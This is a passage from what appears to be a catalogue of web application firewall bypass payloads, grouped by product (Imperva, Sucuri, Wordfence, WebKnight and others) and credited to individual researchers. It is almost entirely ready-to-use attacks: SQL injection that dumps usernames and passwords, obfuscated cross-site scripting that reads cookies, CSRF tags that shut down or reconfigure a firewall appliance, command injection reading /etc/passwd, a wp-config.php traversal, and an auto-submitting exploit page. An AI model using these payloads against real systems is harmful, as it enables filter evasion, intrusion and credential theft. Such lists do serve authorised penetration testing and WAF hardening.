1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')

SQLi Bypass by @Ahmad Maulana (v2.2)

1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-
SQLi Bypass by @Travis Lee (v2.2)
amUserId=1 union select username,password,3,4 from users

SQLi Bypass by @Roberto Salgado (v2.2)

%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201

SQLi Bypass by @Georgi Geshev (v2.2)

1%0bAND(SELECT%0b1%20FROM%20mysql.x)

SQLi Bypass by @SQLMap Devs (v2.2)

%40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29

SQLi Bypass by @HackPlayers (v2.2)

%0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201

Imperva

Imperva SecureSphere 13 – Remote Command Execution by @rsp3ar

XSS Bypass by @David Y

<svg onload\r\n=$.globalEval("al"+"ert()");>

XSS Bypass by @Emad Shanab

<svg/onload=self[`aler`%2b`t`]`1`>
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz

XSS Bypass by @WAFNinja

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E

XSS Bypass by @i_bo0om

<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>

XSS Bypass by @c0d3g33k

<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>

SQLi Bypass by @DRK1WI

15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'

SQLi by @Giuseppe D’Amore

stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1
Imperva SecureSphere <= v13 - Privilege Escalation by @0x09AL

Kona SiteDefender

HTML Injection by @sp1d3rs

%2522%253E%253Csvg%2520height%3D%2522100%2522%2520width%3D%2522100%2522%253E%2520%253Ccircle%2520cx%3D%252250%2522%2520cy%3D%252250%2522%2520r%3D%252240%2522%2520stroke%3D%2522black%2522%2520stroke-width%3D%25223%2522%2520fill%3D%2522red%2522%2520%2F%253E%2520%253C%2Fsvg%253E

XSS Bypass by @Jonathan Bouman

<body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"

XSS Bypass by @zseano

?"></script><base%20c%3D=href%3Dhttps:\mysite>

XSS Bypass by @0xInfection

<abc/onmouseenter=confirm%60%60>

XSS Bypass by @sp1d3rs

%2522%253E%253C%2Fdiv%253E%253C%2Fdiv%253E%253Cbrute%2520onbeforescriptexecute%3D%2527confirm%28document.domain%29%2527%253E

XSS Bypass by @Frans Rosén

<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}&#x60;>

XSS Bypass by @Ishaq Mohammed

<marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'>

Profense

GET Type CSRF Attack by @Michael Brooks (>= v.2.6.2)

Turn off Proface Machine

<img src=https://host:2000/ajax.html?action=shutdown>

Add a proxy

<img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>

XSS Bypass by @Michael Brooks (>= v.2.6.2)

https://host:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>

XSS Bypass by @EnableSecurity (>= v2.4)

%3CEvil%20script%20goes%20here%3E=%0AByPass
%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E

QuickDefense

XSS Bypass by @WAFNinja

?<input type="search" onsearch="aler\u0074(1)">
<details ontoggle=alert(1)>

Sucuri

Smuggling RCE Payloads by @theMiddle

/???/??t+/???/??ss??

Obfuscating RCE Payloads by @theMiddle

;+cat+/e'tc/pass'wd
c\\a\\t+/et\\c/pas\\swd

XSS Bypass by @Luka

"><input/onauxclick="[1].map(prompt)">

XSS Bypass by @Brute Logic

data:text/html,<form action=https://brutelogic.com.br/xss-cp.php method=post>
<input type=hidden name=a value="<img/src=//knoxss.me/yt.jpg onpointerenter=alert`1`>">
<input type=submit></form>

URLScan

Directory Traversal by @ZeQ3uL (<= v3.1) (Only on ASP.NET)

http://host.com/test.asp?file=.%./bla.txt

WebARX

Cross Site Scripting by @0xInfection

<a69/onauxclick=open&#40&#41>rightclickhere

WebKnight

Cross Site Scripting by @WAFNinja

<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<img src=x onwheel=prompt(1)>

SQLi by @WAFNinja

0 union(select 1,username,password from(users))
0 union(select 1,@@hostname,@@datadir)

XSS Bypass by @Aatif Khan (v4.1)

<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

SQLi Bypass by @ZeQ3uL

10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)

Wordfence

XSS Bypass by @brute Logic

<a href=javas&#99;ript:alert(1)>

XSS Bypass by @0xInfection

<a/**/href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At&colon;/**/alert()/**/>click

HTML Injection by @Voxel

http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

XSS Exploit by @MustLive (>= v3.3.5)

<html>
<head>
<title>Wordfence Security XSS exploit (C) 2012 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
<input type="hidden" name="email"
value="<script>alert(document.cookie)</script>">
</form>
</body>
</html>

Other XSS Bypasses

<meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>

Apache Generic

Writing method type in lowercase by @i_bo0om

get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

IIS Generic

Tabs before method by @i_bo0om

GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
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